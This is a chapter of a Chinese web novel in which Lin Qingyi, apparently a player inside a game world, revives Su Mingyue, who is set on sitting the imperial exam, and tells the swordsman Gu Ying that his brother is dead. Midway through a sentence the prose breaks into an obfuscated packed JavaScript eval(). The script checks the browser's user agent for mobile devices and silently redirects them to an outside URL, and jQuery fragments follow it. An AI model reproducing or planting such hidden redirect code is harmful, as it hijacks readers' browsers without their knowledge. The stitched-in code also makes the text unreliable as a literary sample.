林青意是循着唢呐声找过来的。
声音消失的地方在一处坟地。
————
苏明玥的父亲苏文远是廪水县的河道记事员,年轻时因一次公务而残了右腿,母亲周氏则替盐商绣河神图来贴补家用。
苏家前院的篱墙上爬满忍冬藤,花开时如碎雪覆绿绸,她和兄长会用木片拼成微型廪水河道模拟筑堤,她家的歪脖子柳树上还悬着自制日晷,晷面上刻着‘俟河之清’四个字。
虽家境贫寒,但苏明玥却不觉得这有什么不好。
她每日还会去等兄长下学,兄长则会同她讲一些今日同窗的糗事,先生的策论等。
兄长心疼她不能和他一样读私塾,偶尔还会让苏明玥穿他的衣裳,背他的箱笼去私塾好好玩上几天。
苏明玥当时最喜欢的就是扮作兄长后在私塾里静静的坐上一天,让先生和诸多同窗的声音围在周围。
可当槐花纷扬如纸钱飘落那日,苏明琅攥着刚誊好的会试策论冲出书院,他发冠歪斜地撞开王家恶仆,将妹妹护在身后。
“我苏家虽贫,断不会卖女配阴……”
话音未落,包铁棍棒已砸碎他颅骨。
那时兄长温热的脑浆溅上她绣着野梅的衣襟,手中刚替他补完的《治河十疏》散落一地,被王家人踩成泥浆里的残符。
————
说这里是坟地其实有些怠慢此处,这里应该叫墓穴,和一般的堆个小坟堆就算成功的东西不可同日而语。
墓穴中央是一个乌木棺,棺内铺满沁透雄黄的《列女传》,书页间总共还夹着三百根桃木钉。
让人费解。
反正林青意看不明白这到底是在做什么。
她放弃琢磨这些东西,只是仔细聆听这棺材内的声音,她的手指沿着棺椁边缘,边走边划动,不知道听到了什么,她自顾自地乱回答了几声,然后拿出锤子将那穿过少女四肢的铁链一一砸碎。
苏明玥猛地坐起,只是她坐起时脊背绷的又紧又直,看上去更贴近‘直直挺起’。
她双眼无神,和最开始林青意看到诡娘子时差不多。
苏明玥嘴里喃喃着什么。
林青意凑近后又停了许久才听清。
她反反复复念叨的是‘科考’二字。
林青意捏着下巴:“那你这身衣服可不行。”
哪有穿着喜服去科考的。
林青意给人换了一身青色衣裳,出于恶趣味,又给人手上和脚上套上了红绳铃铛,确保她只要走动起来就会有声音。
两个少女模样的人就这么出了墓穴,走上了官道。
可问题来了,两个人之中只有林青意意识清醒,但她不认识路,也不知道究竟该去哪参加考试,这里既没有小某书和某度也没有各种缺德导航。
导致——站在开阔的地方双眼迷茫就这么成了林青意的常态。
话说回来,虽然她对古代科考制度理解不多。
但是需要路引的吧,需要提前报名的吧,需要有人推荐的吧?更重要的是,就算这些都过去了,还有验身这一关吧?
古代科考,招聘人员性别似乎只限男?
带着这种迷惑,林青意带着苏明玥入住了一家客栈。
她们来的不巧,前脚刚踏上客栈地面,一伙彪形大汉就掀了桌子,一时间尘土飞扬,叫骂声不止。
为首的刀疤脸踩在柜台上举着烧刀,冲着所在柜台后的掌柜叫嚣:“这破地方的碎银,还不够爷喂刀的!”
此时的客栈里,客人们有的瑟瑟发抖躲了起来,还有的坐在自己原位纹丝不动。
这伙彪形大汉也是走江湖走久了的,纹丝不动的一看就是手里有把式的,瑟瑟发抖的是很好找麻烦,但有几个男的。
所以两个一看就是小娘子的林青意二人就很适合被欺压。
当其中一个大汉欲掀开苏明玥帏帽时,林青意闪电般拿出小锤子,一捶下去就断了对方的胳膊。
林青意还是第一次拿【一把锤子】对人攻击,主要也是因为她没有什么攻击道具,最近用惯的、手头就这一把。
所以她根本没想到这把锤子对人能造成这么大的打击,她发誓自己根本没有用力。
若是普通锤子,顶多让对方疼一下,绝对造不成这种鲜血喷涌还断臂的场面。
林青意暗骂一声,公司为了追求真实感也不必把血液做成红的吧,知不知道这样过于逼真绝对会被举报啊!
那大汉捂着断臂跪倒在地,声音凄厉得让人毛骨悚然。
林青意听不了这种声音,还特意小心靠近问:“你没事吧?”
我医术拉的挺高的,应该可以给你接上。
周围的人群瞬间安静下来,数十道目光集中于此,所有人都被这突如其来的变故惊呆了。
几个二楼正准备拔剑的弟子眨眨眼睛,又把剑收了回去。
“所以师傅说的是对的,不要惹孤身一人走在路上的女子。”
“只是,那女子出招太快,我没看清到底是什么招式。”
“嗯,看着很像是单纯拿锤子出来锤了一下,但能造成这种效果,估计应该用了内力。”
坐在窗边独自饮酒的剑客出声道:“几位可是漕帮的兄弟?”
众大汉忽然对视一眼,警惕道:“你是谁?”
“过路人,只是,听闻漕帮最近正悬赏私逃者,五十两一颗人头。”
剑客谷应喝下最后一口浊酒,耳边是那帮大汉急急遁逃的脚步声。
到底还是把客栈那点钱也拿走了。
谷应起身准备上楼休息,就见到那拿着一把锤子轻轻一锤就能将人断臂的女子用一种十分诧异的表情看着他。
不,那表情里还掺和几分不确定,就像是——不确定自己见到的这个人是不是自己记忆里的那个人。
谷应猛然回头。
几步冲到那女子面前。
“你见过我哥?”
林青意试图回忆:“你哥是不是姓什么粮仓……”
“是谷。”
“啊对对,好像是这么个姓。”
“你在哪见到的?我哥他现在如何?”
谷应通过他哥的关系,在正气剑派修习,每个月都会和他哥通信,但前几个月开始他就忽然收不到他哥的来信了,一开始还以为是路上不太平所以信件被耽搁,可他左等右等再等不来任何一封信时,他就知道,出事了。
他哥一直为人正直,如今在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072914|163302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贵人手下做事也从不出错,而且最重要的是早就不干刀口舔血的活了。
到底能出什么事?
林青意回答:“死了。”
谷应这一刻觉得时间仿佛都凝固了,他隔着时间长河看向那个教导自己习剑时总是严肃认真的兄长的脸,周围的一切变得模糊,天地万籁俱寂,只剩下他一个人孤零零站在水面上。
不,他不能相信一个素未谋面的女子,万一是她看错了呢?
林青意:“我发现你哥的时候我都震惊了,怎么会有人钻进这么隐蔽的山洞里啊,他是受了重伤后失血而亡的,看上去好像有人在追杀,我猜的啊,还有就是你哥身边有一个小药瓶,很奇怪,里面是毒药。”
“哦对,那小药瓶还特别精致,精致到如果单独拿出来卖,我愿意买。”
林青意耳朵边忽然传来一股十分明显的呼吸声。
像是有人溺水后终于爬到了岸上。
苏明玥醒了。
不是单纯的睁开眼睛,而是拥有神智的清醒。
不像诡娘子不能说话过于迟钝,而是拥有人类情绪的清醒——林青意在她的肢体动作里看到了慌乱。
毕竟帏帽一戴,实在看不清苏明玥的双眼。
“你是谁?”
声音没有死人的沙哑,更接近少女的黄鹂嗓。
林青意发出一声感叹:“哇哦。”
小万里那时她转头走了,诡娘子也是到后面才见到面的,这还是第一次她看到了全过程。
林青意努力琢磨这里面的区别,发现过于费脑子,遂放弃。
“我是林青意,你是苏明玥。”
苏明玥掀开帏帽,露出一张芙蓉面,她看向陌生的周围,眼底全是惊异。
“我为什么会在这?”
林青意想了想:“因为你说你要科举。”
苏明玥像是被这句话勾起了什么回忆,本来还算正常的人忽然就木了起来,好像刚才那才是个人,如今只是个类人的物品。
“对,要科举,科举。”
林青意有些后悔,早知道说点别的,她这个样子什么时候才能恢复正常,一共聊了还没有两句话呢。
这个念头才刚划过她的大脑皮层。
苏明玥就正常了。
她一脸坚毅:“没错,我要考科举。”
林青意终于找到机会问自己之前那几个疑问。
话音刚落,对面的苏明玥又过载了。
林青意:“……”
她真的不太明白公司ai的智能程度,怎么智能和智障还穿插着来。
谷应这边完全不在意苏明玥的状态,他倒是也听见药瓶这两个字了,但他哥本来就在贵人手下,有几个精致物什没什么奇怪的,他更在意那句被人追杀。
“失血而死……失血而死……那必然是被追杀,谁?我哥从不与人为难,莫非是卷入了什么难缠之事?”
林青意:“那山下还有个村子,我不确定是不是追杀你哥的人,但他们把整个村子的人都杀了,还放了一把火。”
典型的杀人灭口。
谷应想,他得去看看这个被烧毁的村子。
“不知姑娘可否告知这被烧毁的村子在何处?”